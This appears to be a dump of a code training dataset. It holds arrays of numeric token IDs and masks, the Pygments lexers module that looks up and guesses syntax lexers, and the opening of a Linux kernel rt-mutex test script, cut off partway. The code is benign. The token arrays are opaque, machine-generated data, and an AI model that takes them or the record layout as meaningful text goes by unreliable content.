[ 2647, 15, 1393, 15, 1813, 2366, 199, 646, 747, 199, 646, 984, 199, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 272, 747, 14, 2314, 14, 5486, 480, 22848, 63, 13931, 63, 10001, 401, 298, 696, 771, 287, 14, 1751, 531, 339, 687, 1639, 14, 1018, 14, 8110, 492, 5341, 63, 504, 63, 1531, 63, 604, 339, 5341, 63, 504, 63, 1531, 63, 604, 8, 1274, 14, 3020, 9, 421, 199, 646, 2197, 199, 199, 504, 1639, 14, 1208, 492, 7137, 199, 504, 1639, 14, 396, 492, 7640, 199, 199, 504, 3708, 478, 14, 992, 492, 644, 11044, 12, 644, 1530, 2634, 12, 27982, 12, 644, 11044, 316, 684, 12, 8538, 823, 1132, 782, 12, 11177, 5777, 12, 644, 11044, 354, 5570, 12, 644, 11044, 1516, 4777, 5570, 12, 644, 11044, 262, 1700, 5570, 12, 644, 11044, 3615, 766, 5570, 12, 644, 11044, 1807, 5570, 12, 644, 71, 354, 5570, 12, 644, 71, 815, 5570, 12, 644, 71, 1807, 5570, 12, 6763, 354, 5570, 12, 6763, 815, 5570, 12, 6763, 1807, 5570, 12, 20896, 981, 5570, 12, 20896, 1807, 5570, 12, 510, 4332, 981, 5570, 12, 510, 4332, 1807, 5570, 12, 3232, 460, 1600, 12, 510, 4332, 4777, 5570, 199, 199, 3, 6668, 734, 10842, 3520, 1929, 370, 506, 8439, 1325, 3091, 1490, 780, 28064, 3181, 1133, 199, 504, 3708, 478, 14, 3924, 492, 21086, 5938, 12, 21086, 1490, 12, 21086, 29519, 421, 199, 533, 644, 11044, 3767, 2925, 8, 1746, 304, 2286, 347, 511, 63, 3176, 1068, 8, 277, 304, 267, 327, 2925, 626, 282, 336, 1530, 883, 506, 11788, 543, 5518, 805, 267, 644, 11044, 14, 3176, 480, 16034, 478, 14630, 531, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1252, 1541, 8, 1068, 354, 628, 16034, 478, 14630, 2237, 508, 413, 12, 715, 9, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1252, 1541, 8, 1068, 354, 628, 6584, 2393, 14630, 2237, 508, 413, 12, 756, 9, 267, 644, 11044, 14, 3176, 480, 52, 456, 1308, 531, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1252, 1541, 8, 1068, 354, 628, 52, 456, 1308, 2237, 508, 413, 12, 715, 9, 339, 347, 511, 63, 409, 262, 1700, 8, 277, 304, 4960, 644, 11044, 14, 3176, 480, 16034, 2482, 14630, 531, 267, 644, 11044, 14, 3176, 480, 52, 456, 1308, 531, 267, 644, 11044, 14, 409, 1068, 262, 1700, 8, 17, 12, 21, 9, 267, 644, 11044, 14, 409, 1068, 262, 1700, 8, 18, 12, 709, 9, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1252, 1541, 8, 262, 1700, 29, 21, 430, 508, 413, 12, 715, 9, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1252, 1541, 8, 262, 1700, 29, 709, 430, 508, 413, 12, 715, 9, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1252, 1541, 8, 262, 1700, 29, 18, 430, 508, 499, 12, 756, 9, 339, 347, 511, 63, 409, 3615, 766, 11245, 8, 277, 304, 4960, 644, 11044, 14, 3176, 480, 16034, 2482, 14630, 531, 267, 644, 11044, 14, 3176, 480, 52, 456, 1308, 531, 267, 644, 11044, 14, 3176, 480, 1966, 1132, 917, 531, 267, 644, 11044, 14, 409, 1068, 3615, 766, 11245, 8, 17, 12, 21, 9, 267, 644, 11044, 14, 409, 1068, 3615, 766, 11245, 8, 18, 12, 709, 9, 267, 644, 11044, 14, 409, 1068, 262, 1700, 8, 19, 12, 1165, 9, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1252, 1541, 8, 3615, 766, 11245, 29, 21, 430, 508, 413, 12, 715, 9, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1252, 1541, 8, 3615, 766, 11245, 29, 709, 430, 508, 413, 12, 715, 9, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1252, 1541, 8, 3615, 766, 11245, 29, 1165, 430, 508, 413, 12, 756, 9, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1252, 1541, 8, 3615, 766, 11245, 29, 18, 430, 508, 499, 12, 756, 9, 5493, 347, 511, 63, 6807, 4777, 8, 277, 304, 267, 644, 11044, 14, 3176, 480, 16034, 2482, 14630, 531, 267, 644, 11044, 14, 3176, 480, 52, 456, 1308, 531, 267, 644, 11044, 14, 3176, 480, 1966, 1132, 917, 531, 267, 644, 11044, 14, 409, 1068, 262, 1700, 8, 17, 12, 21, 9, 267, 644, 11044, 14, 409, 1068, 3615, 766, 11245, 8, 17, 12, 21, 9, 267, 644, 11044, 14, 409, 6807, 4777, 8, 17, 12, 5783, 9, 327, 16034, 478, 14630, 9266, 13119, 2591, 267, 644, 11044, 14, 409, 6807, 4777, 8, 18, 12, 1400, 9, 267, 644, 11044, 14, 409, 6807, 4777, 8, 19, 12, 1400, 9, 4960, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1252, 1541, 8, 6807, 4777, 29, 5783, 430, 508, 413, 12, 715, 9, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1252, 1541, 8, 6807, 4777, 29, 1400, 430, 508, 499, 12, 715, 9, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1012, 508, 650, 12, 715, 9, 5493, 347, 511, 63, 2168, 1068, 8, 277, 304, 267, 644, 11044, 14, 3176, 480, 16034, 2482, 14630, 531, 267, 644, 11044, 14, 3176, 480, 52, 456, 1308, 531, 267, 644, 11044, 14, 3176, 480, 1966, 1132, 917, 531, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1012, 508, 650, 12, 715, 9, 267, 644, 11044, 14, 1807, 3749, 8, 17, 9, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1012, 508, 499, 12, 715, 9, 267, 644, 11044, 14, 3176, 480, 16034, 2482, 14630, 531, 267, 644, 11044, 14, 1807, 3749, 8, 20, 9, 18407, 347, 511, 63, 362, 758, 470, 509, 21849, 8, 277, 304, 267, 644, 11044, 14, 3176, 480, 16034, 2482, 14630, 531, 267, 644, 11044, 14, 3176, 480, 52, 456, 1308, 531, 267, 644, 11044, 14, 3176, 480, 1966, 1132, 917, 531, 267, 291, 14, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
sachintaware/sublime-wakatime
packages/wakatime/packages/pygments_py2/pygments/lexers/__init__.py
73
8735
# -*- coding: utf-8 -*- """ pygments.lexers ~~~~~~~~~~~~~~~ Pygments lexers. :copyright: Copyright 2006-2014 by the Pygments team, see AUTHORS. :license: BSD, see LICENSE for details. """ import re import sys import types import fnmatch from os.path import basename from pygments.lexers._mapping import LEXERS from pygments.modeline import get_filetype_from_buffer from pygments.plugin import find_plugin_lexers from pygments.util import ClassNotFound, itervalues, guess_decode __all__ = ['get_lexer_by_name', 'get_lexer_for_filename', 'find_lexer_class', 'guess_lexer'] + list(LEXERS) _lexer_cache = {} _pattern_cache = {} def _fn_matches(fn, glob): """Return whether the supplied file name fn matches pattern filename.""" if glob not in _pattern_cache: pattern = _pattern_cache[glob] = re.compile(fnmatch.translate(glob)) return pattern.match(fn) return _pattern_cache[glob].match(fn) def _load_lexers(module_name): """Load a lexer (and all others in the module too).""" mod = __import__(module_name, None, None, ['__all__']) for lexer_name in mod.__all__: cls = getattr(mod, lexer_name) _lexer_cache[cls.name] = cls def get_all_lexers(): """Return a generator of tuples in the form ``(name, aliases, filenames, mimetypes)`` of all know lexers. """ for item in itervalues(LEXERS): yield item[1:] for lexer in find_plugin_lexers(): yield lexer.name, lexer.aliases, lexer.filenames, lexer.mimetypes def find_lexer_class(name): """Lookup a lexer class by name. Return None if not found. """ if name in _lexer_cache: return _lexer_cache[name] # lookup builtin lexers for module_name, lname, aliases, _, _ in itervalues(LEXERS): if name == lname: _load_lexers(module_name) return _lexer_cache[name] # continue with lexers from setuptools entrypoints for cls in find_plugin_lexers(): if cls.name == name: return cls def get_lexer_by_name(_alias, **options): """Get a lexer by an alias. Raises ClassNotFound if not found. """ if not _alias: raise ClassNotFound('no lexer for alias %r found' % _alias) # lookup builtin lexers for module_name, name, aliases, _, _ in itervalues(LEXERS): if _alias.lower() in aliases: if name not in _lexer_cache: _load_lexers(module_name) return _lexer_cache[name](**options) # continue with lexers from setuptools entrypoints for cls in find_plugin_lexers(): if _alias in cls.aliases: return cls(**options) raise ClassNotFound('no lexer for alias %r found' % _alias) def find_lexer_class_for_filename(_fn, code=None): """Get a lexer for a filename. If multiple lexers match the filename pattern, use ``analyse_text()`` to figure out which one is more appropriate. Returns None if not found. """ matches = [] fn = basename(_fn) for modname, name, _, filenames, _ in itervalues(LEXERS): for filename in filenames: if _fn_matches(fn, filename): if name not in _lexer_cache: _load_lexers(modname) matches.append((_lexer_cache[name], filename)) for cls in find_plugin_lexers(): for filename in cls.filenames: if _fn_matches(fn, filename): matches.append((cls, filename)) if sys.version_info > (3,) and isinstance(code, bytes): # decode it, since all analyse_text functions expect unicode code = guess_decode(code) def get_rating(info): cls, filename = info # explicit patterns get a bonus bonus = '*' not in filename and 0.5 or 0 # The class _always_ defines analyse_text because it's included in # the Lexer class. The default implementation returns None which # gets turned into 0.0. Run scripts/detect_missing_analyse_text.py # to find lexers which need it overridden. if code: return cls.analyse_text(code) + bonus return cls.priority + bonus if matches: matches.sort(key=get_rating) # print "Possible lexers, after sort:", matches return matches[-1][0] def get_lexer_for_filename(_fn, code=None, **options): """Get a lexer for a filename. If multiple lexers match the filename pattern, use ``analyse_text()`` to figure out which one is more appropriate. Raises ClassNotFound if not found. """ res = find_lexer_class_for_filename(_fn, code) if not res: raise ClassNotFound('no lexer for filename %r found' % _fn) return res(**options) def get_lexer_for_mimetype(_mime, **options): """Get a lexer for a mimetype. Raises ClassNotFound if not found. """ for modname, name, _, _, mimetypes in itervalues(LEXERS): if _mime in mimetypes: if name not in _lexer_cache: _load_lexers(modname) return _lexer_cache[name](**options) for cls in find_plugin_lexers(): if _mime in cls.mimetypes: return cls(**options) raise ClassNotFound('no lexer for mimetype %r found' % _mime) def _iter_lexerclasses(plugins=True): """Return an iterator over all lexer classes.""" for key in sorted(LEXERS): module_name, name = LEXERS[key][:2] if name not in _lexer_cache: _load_lexers(module_name) yield _lexer_cache[name] if plugins: for lexer in find_plugin_lexers(): yield lexer def guess_lexer_for_filename(_fn, _text, **options): """ Lookup all lexers that handle those filenames primary (``filenames``) or secondary (``alias_filenames``). Then run a text analysis for those lexers and choose the best result. usage:: >>> from pygments.lexers import guess_lexer_for_filename >>> guess_lexer_for_filename('hello.html', '<%= @foo %>') <pygments.lexers.templates.RhtmlLexer object at 0xb7d2f32c> >>> guess_lexer_for_filename('hello.html', '<h1>{{ title|e }}</h1>') <pygments.lexers.templates.HtmlDjangoLexer object at 0xb7d2f2ac> >>> guess_lexer_for_filename('style.css', 'a { color: <?= $link ?> }') <pygments.lexers.templates.CssPhpLexer object at 0xb7ba518c> """ fn = basename(_fn) primary = {} matching_lexers = set() for lexer in _iter_lexerclasses(): for filename in lexer.filenames: if _fn_matches(fn, filename): matching_lexers.add(lexer) primary[lexer] = True for filename in lexer.alias_filenames: if _fn_matches(fn, filename): matching_lexers.add(lexer) primary[lexer] = False if not matching_lexers: raise ClassNotFound('no lexer for filename %r found' % fn) if len(matching_lexers) == 1: return matching_lexers.pop()(**options) result = [] for lexer in matching_lexers: rv = lexer.analyse_text(_text) if rv == 1.0: return lexer(**options) result.append((rv, lexer)) def type_sort(t): # sort by: # - analyse score # - is primary filename pattern? # - priority # - last resort: class name return (t[0], primary[t[1]], t[1].priority, t[1].__name__) result.sort(key=type_sort) return result[-1][1](**options) def guess_lexer(_text, **options): """Guess a lexer by strong distinctions in the text (eg, shebang).""" # try to get a vim modeline first ft = get_filetype_from_buffer(_text) if ft is not None: try: return get_lexer_by_name(ft, **options) except ClassNotFound: pass best_lexer = [0.0, None] for lexer in _iter_lexerclasses(): rv = lexer.analyse_text(_text) if rv == 1.0: return lexer(**options) if rv > best_lexer[0]: best_lexer[:] = (rv, lexer) if not best_lexer[0] or best_lexer[1] is None: raise ClassNotFound('no lexer matching the text found') return best_lexer[1](**options) class _automodule(types.ModuleType): """Automatically import lexers.""" def __getattr__(self, name): info = LEXERS.get(name) if info: _load_lexers(info[0]) cls = _lexer_cache[info[1]] setattr(self, name, cls) return cls raise AttributeError(name) oldmod = sys.modules[__name__] newmod = _automodule(__name__) newmod.__dict__.update(oldmod.__dict__) sys.modules[__name__] = newmod del newmod.newmod, newmod.oldmod, newmod.sys, newmod.types
bsd-3-clause
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 272, 13277, 14, 12245, 272, 32202, 23597, 339, 14493, 7103, 1192, 14, 339, 520, 7307, 26, 1898, 8315, 13, 7280, 701, 314, 14493, 8099, 12, 1937, 10610, 14, 272, 520, 1682, 26, 6289, 12, 1937, 5113, 367, 2436, 14, 199, 624, 199, 199, 646, 295, 199, 646, 984, 199, 646, 2943, 199, 646, 15951, 199, 504, 747, 14, 515, 492, 9593, 199, 199, 504, 13277, 14, 12245, 423, 4745, 492, 491, 1438, 3960, 199, 504, 13277, 14, 632, 604, 492, 664, 63, 30358, 63, 504, 63, 2738, 199, 504, 13277, 14, 2718, 492, 2342, 63, 2718, 63, 12245, 199, 504, 13277, 14, 1974, 492, 8089, 4667, 12, 24451, 12, 9519, 63, 2708, 421, 199, 363, 452, 363, 275, 788, 362, 63, 11729, 63, 991, 63, 354, 297, 283, 362, 63, 11729, 63, 509, 63, 1501, 297, 283, 1623, 63, 11729, 63, 533, 297, 1779, 283, 11636, 63, 11729, 418, 435, 769, 8, 8066, 3960, 9, 199, 199, 63, 11729, 63, 1637, 275, 1052, 199, 63, 3401, 63, 1637, 275, 1052, 421, 199, 318, 485, 2324, 63, 6742, 8, 2324, 12, 5739, 304, 272, 408, 1767, 3775, 314, 6841, 570, 536, 4325, 4450, 3851, 1788, 1041, 272, 340, 5739, 440, 315, 485, 3401, 63, 1637, 26, 267, 3851, 275, 485, 3401, 63, 1637, 59, 6463, 61, 275, 295, 14, 2014, 8, 15359, 14, 5275, 8, 6463, 430, 267, 372, 3851, 14, 1431, 8, 2324, 9, 272, 372, 485, 3401, 63, 1637, 59, 6463, 1055, 1431, 8, 2324, 9, 421, 199, 318, 485, 912, 63, 12245, 8, 578, 63, 354, 304, 272, 408, 6200, 282, 10426, 334, 460, 1006, 11789, 315, 314, 859, 4634, 10477, 272, 3413, 275, 636, 646, 721, 578, 63, 354, 12, 488, 12, 488, 12, 14050, 452, 363, 1105, 272, 367, 10426, 63, 354, 315, 3413, 855, 452, 10651, 267, 843, 275, 2519, 8, 1494, 12, 10426, 63, 354, 9, 267, 485, 11729, 63, 1637, 59, 1886, 14, 354, 61, 275, 843, 421, 199, 318, 664, 63, 452, 63, 12245, 837, 272, 408, 1767, 282, 4306, 402, 6346, 315, 314, 1824, 15475, 354, 12, 5481, 12, 272, 6203, 12, 13290, 9719, 402, 1006, 5715, 7103, 1192, 14, 272, 408, 272, 367, 1242, 315, 24451, 8, 8066, 3960, 304, 267, 1995, 1242, 59, 17, 2938, 272, 367, 10426, 315, 2342, 63, 2718, 63, 12245, 837, 267, 1995, 10426, 14, 354, 12, 10426, 14, 8602, 12, 10426, 14, 10309, 12, 10426, 14, 7626, 1313, 421, 199, 318, 2342, 63, 11729, 63, 533, 8, 354, 304, 272, 408, 7521, 282, 10426, 1021, 701, 536, 14, 339, 1432, 488, 340, 440, 1911, 14, 272, 408, 272, 340, 536, 315, 485, 11729, 63, 1637, 26, 267, 372, 485, 11729, 63, 1637, 59, 354, 61, 272, 327, 4237, 6762, 7103, 1192, 272, 367, 859, 63, 354, 12, 634, 354, 12, 5481, 12, 5501, 485, 315, 24451, 8, 8066, 3960, 304, 267, 340, 536, 508, 634, 354, 26, 288, 485, 912, 63, 12245, 8, 578, 63, 354, 9, 288, 372, 485, 11729, 63, 1637, 59, 354, 61, 272, 327, 1980, 543, 7103, 1192, 687, 9116, 2397, 3438, 272, 367, 843, 315, 2342, 63, 2718, 63, 12245, 837, 267, 340, 843, 14, 354, 508, 536, 26, 288, 372, 843, 421, 199, 318, 664, 63, 11729, 63, 991, 63, 354, 1547, 3620, 12, 1011, 1419, 304, 272, 408, 1002, 282, 10426, 701, 376, 5162, 14, 339, 6218, 8089, 4667, 340, 440, 1911, 14, 272, 408, 272, 340, 440, 485, 3620, 26, 267, 746, 8089, 4667, 360, 889, 10426, 367, 5162, 450, 82, 1911, 7, 450, 485, 3620, 9, 339, 327, 4237, 6762, 7103, 1192, 272, 367, 859, 63, 354, 12, 536, 12, 5481, 12, 5501, 485, 315, 24451, 8, 8066, 3960, 304, 267, 340, 485, 3620, 14, 2325, 342, 315, 5481, 26, 288, 340, 536, 440, 315, 485, 11729, 63, 1637, 26, 355, 485, 912, 63, 12245, 8, 578, 63, 354, 9, 288, 372, 485, 11729, 63, 1637, 59, 354, 61, 3682, 1419, 9, 272, 327, 1980, 543, 7103, 1192, 687, 9116, 2397, 3438, 272, 367, 843, 315, 2342, 63, 2718, 63, 12245, 837, 267, 340, 485, 3620, 315, 843, 14, 8602, 26, 288, 372, 843, 3682, 1419, 9, 272, 746, 8089, 4667, 360, 889, 10426, 367, 5162, 450, 82, 1911, 7, 450, 485, 3620, 9, 421, 199, 318, 2342, 63, 11729, 63, 533, 63, 509, 63, 1501, 1547, 2324, 12, 1233, 29, 403, 304, 272, 408, 1002, 282, 10426, 367, 282, 1788, 14, 339, 982, 3663, 7103, 1192, 1336, 314, 1788, 3851, 12, 675, 1124, 26943, 63, 505, 8497, 370, 272, 9658, 734, 1314, 1373, 365, 1655, 5827, 14, 339, 1803, 488, 340, 440, 1911, 14, 272, 408, 272, 4450, 275, 942, 272, 4325, 275, 9593, 1547, 2324, 9, 272, 367, 13526, 12, 536, 12, 5501, 6203, 12, 485, 315, 24451, 8, 8066, 3960, 304, 267, 367, 1788, 315, 6203, 26, 288, 340, 485, 2324, 63, 6742, 8, 2324, 12, 1788, 304, 355, 340, 536, 440, 315, 485, 11729, 63, 1637, 26, 490, 485, 912, 63, 12245, 8, 14789, 9, 355, 4450, 14, 740, 1332, 63, 11729, 63, 1637, 59, 354, 467, 1788, 430, 272, 367, 843, 315, 2342, 63, 2718, 63, 12245, 837, 267, 367, 1788, 315, 843, 14, 10309, 26, 288, 340, 485, 2324, 63, 6742, 8, 2324, 12, 1788, 304, 355, 4450, 14, 740, 1332, 1886, 12, 1788, 430, 339, 340, 984, 14, 1023, 63, 815, 690, 334, 19, 4258, 436, 1228, 8, 600, 12, 2783, 304, 267, 327, 4849, 652, 12, 3967, 1006, 21297, 63, 505, 3423, 4282, 2649, 267, 1233, 275, 9519, 63, 2708, 8, 600, 9, 339, 347, 664, 63, 10417, 8, 815, 304, 267, 843, 12, 1788, 275, 2256, 267, 327, 5027, 7970, 664, 282, 23672, 527, 267, 23672, 527, 275, 13626, 440, 315, 1788, 436, 378, 14, 21, 503, 378, 267, 327, 710, 1021, 485, 9223, 63, 7890, 21297, 63, 505, 2952, 652, 1159, 5120, 315, 267, 327, 314, 21125, 1021, 14, 221, 710, 849, 4514, 2529, 488, 1314, 267, 327, 7545, 19136, 1901, 378, 14, 16, 14, 221, 3378, 10554, 15, 13552, 63, 4752, 63, 26943, 63, 505, 14, 647, 267 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 272, 13277, 14, 12245, 272, 32202, 23597, 339, 14493, 7103, 1192, 14, 339, 520, 7307, 26, 1898, 8315, 13, 7280, 701, 314, 14493, 8099, 12, 1937, 10610, 14, 272, 520, 1682, 26, 6289, 12, 1937, 5113, 367, 2436, 14, 199, 624, 199, 199, 646, 295, 199, 646, 984, 199, 646, 2943, 199, 646, 15951, 199, 504, 747, 14, 515, 492, 9593, 199, 199, 504, 13277, 14, 12245, 423, 4745, 492, 491, 1438, 3960, 199, 504, 13277, 14, 632, 604, 492, 664, 63, 30358, 63, 504, 63, 2738, 199, 504, 13277, 14, 2718, 492, 2342, 63, 2718, 63, 12245, 199, 504, 13277, 14, 1974, 492, 8089, 4667, 12, 24451, 12, 9519, 63, 2708, 421, 199, 363, 452, 363, 275, 788, 362, 63, 11729, 63, 991, 63, 354, 297, 283, 362, 63, 11729, 63, 509, 63, 1501, 297, 283, 1623, 63, 11729, 63, 533, 297, 1779, 283, 11636, 63, 11729, 418, 435, 769, 8, 8066, 3960, 9, 199, 199, 63, 11729, 63, 1637, 275, 1052, 199, 63, 3401, 63, 1637, 275, 1052, 421, 199, 318, 485, 2324, 63, 6742, 8, 2324, 12, 5739, 304, 272, 408, 1767, 3775, 314, 6841, 570, 536, 4325, 4450, 3851, 1788, 1041, 272, 340, 5739, 440, 315, 485, 3401, 63, 1637, 26, 267, 3851, 275, 485, 3401, 63, 1637, 59, 6463, 61, 275, 295, 14, 2014, 8, 15359, 14, 5275, 8, 6463, 430, 267, 372, 3851, 14, 1431, 8, 2324, 9, 272, 372, 485, 3401, 63, 1637, 59, 6463, 1055, 1431, 8, 2324, 9, 421, 199, 318, 485, 912, 63, 12245, 8, 578, 63, 354, 304, 272, 408, 6200, 282, 10426, 334, 460, 1006, 11789, 315, 314, 859, 4634, 10477, 272, 3413, 275, 636, 646, 721, 578, 63, 354, 12, 488, 12, 488, 12, 14050, 452, 363, 1105, 272, 367, 10426, 63, 354, 315, 3413, 855, 452, 10651, 267, 843, 275, 2519, 8, 1494, 12, 10426, 63, 354, 9, 267, 485, 11729, 63, 1637, 59, 1886, 14, 354, 61, 275, 843, 421, 199, 318, 664, 63, 452, 63, 12245, 837, 272, 408, 1767, 282, 4306, 402, 6346, 315, 314, 1824, 15475, 354, 12, 5481, 12, 272, 6203, 12, 13290, 9719, 402, 1006, 5715, 7103, 1192, 14, 272, 408, 272, 367, 1242, 315, 24451, 8, 8066, 3960, 304, 267, 1995, 1242, 59, 17, 2938, 272, 367, 10426, 315, 2342, 63, 2718, 63, 12245, 837, 267, 1995, 10426, 14, 354, 12, 10426, 14, 8602, 12, 10426, 14, 10309, 12, 10426, 14, 7626, 1313, 421, 199, 318, 2342, 63, 11729, 63, 533, 8, 354, 304, 272, 408, 7521, 282, 10426, 1021, 701, 536, 14, 339, 1432, 488, 340, 440, 1911, 14, 272, 408, 272, 340, 536, 315, 485, 11729, 63, 1637, 26, 267, 372, 485, 11729, 63, 1637, 59, 354, 61, 272, 327, 4237, 6762, 7103, 1192, 272, 367, 859, 63, 354, 12, 634, 354, 12, 5481, 12, 5501, 485, 315, 24451, 8, 8066, 3960, 304, 267, 340, 536, 508, 634, 354, 26, 288, 485, 912, 63, 12245, 8, 578, 63, 354, 9, 288, 372, 485, 11729, 63, 1637, 59, 354, 61, 272, 327, 1980, 543, 7103, 1192, 687, 9116, 2397, 3438, 272, 367, 843, 315, 2342, 63, 2718, 63, 12245, 837, 267, 340, 843, 14, 354, 508, 536, 26, 288, 372, 843, 421, 199, 318, 664, 63, 11729, 63, 991, 63, 354, 1547, 3620, 12, 1011, 1419, 304, 272, 408, 1002, 282, 10426, 701, 376, 5162, 14, 339, 6218, 8089, 4667, 340, 440, 1911, 14, 272, 408, 272, 340, 440, 485, 3620, 26, 267, 746, 8089, 4667, 360, 889, 10426, 367, 5162, 450, 82, 1911, 7, 450, 485, 3620, 9, 339, 327, 4237, 6762, 7103, 1192, 272, 367, 859, 63, 354, 12, 536, 12, 5481, 12, 5501, 485, 315, 24451, 8, 8066, 3960, 304, 267, 340, 485, 3620, 14, 2325, 342, 315, 5481, 26, 288, 340, 536, 440, 315, 485, 11729, 63, 1637, 26, 355, 485, 912, 63, 12245, 8, 578, 63, 354, 9, 288, 372, 485, 11729, 63, 1637, 59, 354, 61, 3682, 1419, 9, 272, 327, 1980, 543, 7103, 1192, 687, 9116, 2397, 3438, 272, 367, 843, 315, 2342, 63, 2718, 63, 12245, 837, 267, 340, 485, 3620, 315, 843, 14, 8602, 26, 288, 372, 843, 3682, 1419, 9, 272, 746, 8089, 4667, 360, 889, 10426, 367, 5162, 450, 82, 1911, 7, 450, 485, 3620, 9, 421, 199, 318, 2342, 63, 11729, 63, 533, 63, 509, 63, 1501, 1547, 2324, 12, 1233, 29, 403, 304, 272, 408, 1002, 282, 10426, 367, 282, 1788, 14, 339, 982, 3663, 7103, 1192, 1336, 314, 1788, 3851, 12, 675, 1124, 26943, 63, 505, 8497, 370, 272, 9658, 734, 1314, 1373, 365, 1655, 5827, 14, 339, 1803, 488, 340, 440, 1911, 14, 272, 408, 272, 4450, 275, 942, 272, 4325, 275, 9593, 1547, 2324, 9, 272, 367, 13526, 12, 536, 12, 5501, 6203, 12, 485, 315, 24451, 8, 8066, 3960, 304, 267, 367, 1788, 315, 6203, 26, 288, 340, 485, 2324, 63, 6742, 8, 2324, 12, 1788, 304, 355, 340, 536, 440, 315, 485, 11729, 63, 1637, 26, 490, 485, 912, 63, 12245, 8, 14789, 9, 355, 4450, 14, 740, 1332, 63, 11729, 63, 1637, 59, 354, 467, 1788, 430, 272, 367, 843, 315, 2342, 63, 2718, 63, 12245, 837, 267, 367, 1788, 315, 843, 14, 10309, 26, 288, 340, 485, 2324, 63, 6742, 8, 2324, 12, 1788, 304, 355, 4450, 14, 740, 1332, 1886, 12, 1788, 430, 339, 340, 984, 14, 1023, 63, 815, 690, 334, 19, 4258, 436, 1228, 8, 600, 12, 2783, 304, 267, 327, 4849, 652, 12, 3967, 1006, 21297, 63, 505, 3423, 4282, 2649, 267, 1233, 275, 9519, 63, 2708, 8, 600, 9, 339, 347, 664, 63, 10417, 8, 815, 304, 267, 843, 12, 1788, 275, 2256, 267, 327, 5027, 7970, 664, 282, 23672, 527, 267, 23672, 527, 275, 13626, 440, 315, 1788, 436, 378, 14, 21, 503, 378, 267, 327, 710, 1021, 485, 9223, 63, 7890, 21297, 63, 505, 2952, 652, 1159, 5120, 315, 267, 327, 314, 21125, 1021, 14, 221, 710, 849, 4514, 2529, 488, 1314, 267, 327, 7545, 19136, 1901, 378, 14, 16, 14, 221, 3378, 10554,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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
sirkay/sony-msm8960
scripts/rt-tester/rt-tester.py
11005
5307
#!/usr/bin/python # # rt-mutex tester # # (C) 2006 Thomas Gleixner <tglx@linutronix.de> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation. # import os import sys import getopt import shutil import string # Globals quiet = 0 test = 0 comments = 0 sysfsprefix = "/sys/devices/system/rttest/rttest" statusfile = "/status" commandfile = "/command" # Command opcodes cmd_opcodes = { "schedother" : "1", "schedfifo" : "2", "lock" : "3", "locknowait" : "4", "lockint" : "5", "lockintnowait" : "6", "lockcont" : "7", "unlock" : "8", "signal" : "11", "resetevent" : "98", "reset" : "99", } test_opcodes = { "prioeq" : ["P" , "eq" , None], "priolt" : ["P" , "lt" , None], "priogt" : ["P" , "gt" , None], "nprioeq" : ["N" , "eq" , None], "npriolt" : ["N" , "lt" , None], "npriogt" : ["N" , "gt" , None], "unlocked" : ["M" , "eq" , 0], "trylock" : ["M" , "eq" , 1], "blocked" : ["M" , "eq" , 2], "blockedwake" : ["M" , "eq" , 3], "locked" : ["M" , "eq" , 